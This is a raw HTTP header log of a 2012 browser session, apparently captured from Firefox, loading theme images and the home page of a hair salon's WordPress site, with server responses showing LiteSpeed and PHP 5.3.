User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;110e-4c9ef227-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:35 GMT
Content-Length: 4366
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /wp-content/themes/twentyten/images/mailingList.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/wp-content/themes/twentyten/style.css
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 404 Not Found

Content-Type: text/html
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Cache-Control: private, no-cache, max-age=0
Pragma: no-cache
Content-Length: 389
GET /wp-content/themes/twentyten/images/footer.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/wp-content/themes/twentyten/style.css
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;14f9-4c9eeb98-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:43:36 GMT
Content-Length: 5369
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/08_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;10b0-4c9ef22d-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:41 GMT
Content-Length: 4272
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /wp-content/uploads/2010/06/DSC_0082-300x200.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;4f64-4c9ef997-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:43:19 GMT
Content-Length: 20324
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET / HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
Date: Tue, 06 Nov 2012 06:09:33 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.3.17